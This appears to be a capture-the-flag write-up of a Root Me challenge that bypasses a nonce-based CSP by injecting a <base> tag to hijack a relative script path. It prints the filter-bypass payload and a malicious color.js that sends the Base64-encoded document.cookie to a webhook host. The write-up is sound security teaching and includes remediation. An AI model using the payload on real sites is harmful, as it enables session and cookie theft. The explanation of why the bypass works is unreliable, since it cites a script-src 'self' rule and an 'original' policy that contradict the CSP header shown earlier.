CSP Bypass via Missing base-uri (CSP Bypass - Nonce 2)

Medium
October 27, 2025
#CSPBypass#WebSecurity#BaseTagInjection#CookieTheft#XSS
01

Problem

The Challenge

The challenge presents a simple webpage where user input is reflected and its color is changed by a script. The developer, having been hacked before, has implemented what they believe is a "perfect" Content Security Policy (CSP) to prevent any further attacks.

OBJECTIVE

Primary Objective: Bypass the Content Security Policy and steal the administrator bot's cookies from a webpage that uses nonce-based script protection.

TARGETS
Bot's Session Cookie
CSP Protection Mechanism

Challenge Details

Platform: Root Me
Category: Web - Client
Points: 35
Validations: 735 (1% of challengers)

02

Reconnaissance

My first step was to understand the page's functionality and security posture by analyzing the page behavior, scripts, and most importantly, the Content Security Policy.

Analyzing Page Behavior and Scripts

The application consists of a simple color-changing interface with two JavaScript files:

  • User Input: An input field that takes a string from the URL hash (#)
  • script.js: Reads content from the URL hash and injects it into the DOM. Contains a basic filter that replaces the first occurrence of < with &lt; and > with &gt;
  • color.js: Handles the color-changing logic. Crucially loaded using a relative path: <script src="color.js">

Evaluating the Content Security Policy

I inspected the HTTP response headers using browser developer tools and found the CSP:

Code (HTTP Header)
Content-Security-Policy: connect-src 'none'; font-src 'self'; frame-src 'none'; img-src 'self'; manifest-src 'none'; media-src 'none'; object-src 'none'; script-src 'nonce-d926517bd68e7531197827900b78a2ea'; style-src 'self'; worker-src 'none'; frame-ancestors 'none'; block-all-mixed-content;

I used Google's CSP Evaluator to analyze this policy and received a critical finding:

HIGH SEVERITY FINDING: base-uri [missing] Missing base-uri allows the injection of base tags. They can be used to set the base URL for all relative (script) URLs to an attacker controlled domain. Can you set it to 'none' or 'self'?

Key Findings

The reconnaissance revealed several critical facts:

  • • The CSP is missing the base-uri directive
  • • A legitimate script (color.js) is loaded using a relative path
  • • The XSS filter only sanitizes the first < and > characters
  • • The browser doesn't know the "base" URL for relative resources
03

Attack & Steps

1
Step 1 ⏱ 5 min

Understanding the base Tag Vulnerability

The HTML <base> tag specifies the base URL for all relative URLs in a document. Without the base-uri CSP directive, an attacker can inject this tag to hijack relative script paths.

When the browser encounters <script src="color.js">, it needs to know where to load it from. If I inject <base href="https://evil.com/">, the browser will request:

Code (URL)
https://evil.com/color.js

This completely bypasses the CSP because the script is loaded from a domain that passes the 'self' check from the attacker-controlled base perspective.

2
Step 2 ⏱ 2 min

Bypassing the XSS Filter

The filter in script.js only replaces the first < and >. I could easily bypass this by adding a dummy tag at the start:

Code (HTML Injection)
<><base href="https://attacker.com/">

The first <> gets sanitized to &lt;&gt;, but the <base> tag remains intact and functional.

3
Step 3 ⏱ 5 min

Setting Up the Attacker Infrastructure

I needed two components for this attack:

  • Hosting Server: A server to host the malicious color.js file - I used alwaysdata for this
  • Exfiltration Endpoint: A webhook to receive the stolen cookies - I used webhook.site

First, I set up a webhook.site URL to capture the stolen data:

Code (Webhook URL)
https://webhook.site/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx

Then I created a free hosting account on alwaysdata to serve the malicious script file.

4
Step 4 ⏱ 5 min

Crafting and Hosting the Malicious color.js

I created a malicious color.js file that would steal the cookies and send them to my webhook. I used btoa() to Base64-encode the cookie string to ensure it passes through the URL without issues:

Code (JavaScript)
// Malicious color.js payload
document.location = 'https://webhook.site/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/?stolen_data=' + btoa(document.cookie);

I uploaded this file to my alwaysdata account and verified it was accessible at:

Code (Hosted File URL)
https://attacker.alwaysdata.net/web-client/ch62/color.js

This setup allows the injected base tag to redirect the browser to load color.js from my controlled server, which then executes the cookie-stealing payload and exfiltrates the data to my webhook.

5
Step 5 ⏱ 2 min

Assembling the Final Payload

I constructed the final injection payload with the filter bypass, pointing to my alwaysdata hosting:

Code (HTML)
<><base href="https://attacker.alwaysdata.net/">

Then I URL-encoded it and appended it to the challenge URL's hash fragment:

Code (Final URL)
http://challenge01.root-me.org/web-client/ch62/#%3C%3E%3Cbase%20href=%22https://attacker.alwaysdata.net/%22%3E
6
Step 6 ⏱ < 1 min

Capturing the Flag

I submitted the final URL to the challenge's bot. Within seconds, a new request appeared in my webhook.site log:

Code (Webhook Log)
GET /?stolen_data=TG9yZW0gaXBzdW0gZG9sb3Igc2l0IGFtZXQ

I decoded the Base64 string to retrieve the flag:

$
Decode
echo "TG9yZW0gaXBzdW0gZG9sb3Igc2l0IGFtZXQ" | base64 -d
04

Solution & Root Cause

HIGH

Root Cause Analysis

The vulnerability exists due to an incomplete Content Security Policy implementation. While the developer correctly implemented nonce-based script protection, they overlooked a critical directive.

  • Missing base-uri Directive: The CSP lacked base-uri 'self' or base-uri 'none', allowing injection of <base> tags
  • Relative Script Paths: The use of relative paths (src="color.js") made the application vulnerable to base tag hijacking
  • Weak XSS Filter: The filter only sanitized the first occurrence of angle brackets, easily bypassed
  • Incomplete Security Testing: The CSP wasn't validated against known bypass techniques

Attack Chain Breakdown

The successful bypass followed this attack path:

Code (Attack Flow)
User Input Reflection
    ↓
Bypass XSS Filter (<><base ...>)
    ↓
Inject <base> Tag
    ↓
Hijack Relative Script Path (color.js)
    ↓
Browser Loads Malicious Script from Attacker Domain
    ↓
Cookie Exfiltration via Base64 Encoding
    ↓
Flag Captured on Webhook

Why This Bypassed the CSP

The CSP had script-src 'self', which should only allow scripts from the same origin. However, by controlling the <base> tag, I redefined what "same origin" meant for relative URLs. The browser resolved color.js relative to my attacker-controlled base, not the actual page origin.

Code (Explanation)
# Without base tag:
<script src="color.js"> → https://challenge.root-me.org/color.js ✓

# With injected base tag:
<base href="https://attacker.alwaysdata.net/">
<script src="color.js"> → https://attacker.alwaysdata.net/web-client/ch62/color.js ✓

# CSP doesn't block this because base-uri is not restricted!
05

Remediation

Immediate Fix

  • 1 Add base-uri 'self' or base-uri 'none' to the Content Security Policy
  • 2 Use absolute URLs for critical scripts instead of relative paths
  • 3 Implement proper input validation that blocks all HTML tag injection, not just the first occurrence
  • 4 Use Content-Security-Policy-Report-Only mode first to test changes without breaking functionality

Corrected CSP Header

The fixed Content Security Policy should include the base-uri directive:

Code (HTTP Header)
# Original (Vulnerable)
Content-Security-Policy: default-src 'none'; script-src 'self' 'nonce-randomnonce'; style-src 'self' 'nonce-randomnonce'; object-src 'none';

# Fixed (Secure)
Content-Security-Policy: default-src 'none'; base-uri 'self'; script-src 'self' 'nonce-randomnonce'; style-src 'self' 'nonce-randomnonce'; object-src 'none';

Long-term Security Improvements

  • 1 Implement strict CSP with all necessary directives (base-uri, form-action, frame-ancestors, etc.)
  • 2 Use automated CSP validation tools in CI/CD pipeline (e.g., Google CSP Evaluator)
  • 3 Implement proper output encoding using a security library (e.g., DOMPurify)
  • 4 Consider using Trusted Types to prevent DOM-based XSS entirely
  • 5 Regular security audits focusing on client-side vulnerabilities
  • 6 Implement Content-Security-Policy-Report-URI to monitor policy violations
  • 7 Use Subresource Integrity (SRI) for external scripts to prevent tampering

Testing the Fix

After implementing the fix, verify that the vulnerability is remediated:

  • Test base tag injection - should be blocked by base-uri directive
  • Verify CSP with Google CSP Evaluator - should show no high-severity warnings
  • Test legitimate functionality - color changing should still work
  • Monitor CSP violation reports for any unexpected policy blocks
06

Key Learnings

KEY INSIGHT

A Content Security Policy is only as strong as its weakest directive. A single missing directive like base-uri can completely undermine an otherwise robust policy. Always validate your CSP with automated tools and stay updated on known bypass techniques.

Key Takeaways

  • CSP is All or Nothing: One missing directive can render the entire policy ineffective
  • Relative Paths Are Risky: Always be aware of how browsers resolve relative URLs and how they can be manipulated
  • Defense in Depth: Don't rely solely on CSP - implement proper input validation and output encoding
  • Creative Tooling: Services like webhook.site are invaluable for quickly prototyping exfiltration attacks
  • Test Your Security: Use tools like Google CSP Evaluator to validate security policies before deployment

Additional Resources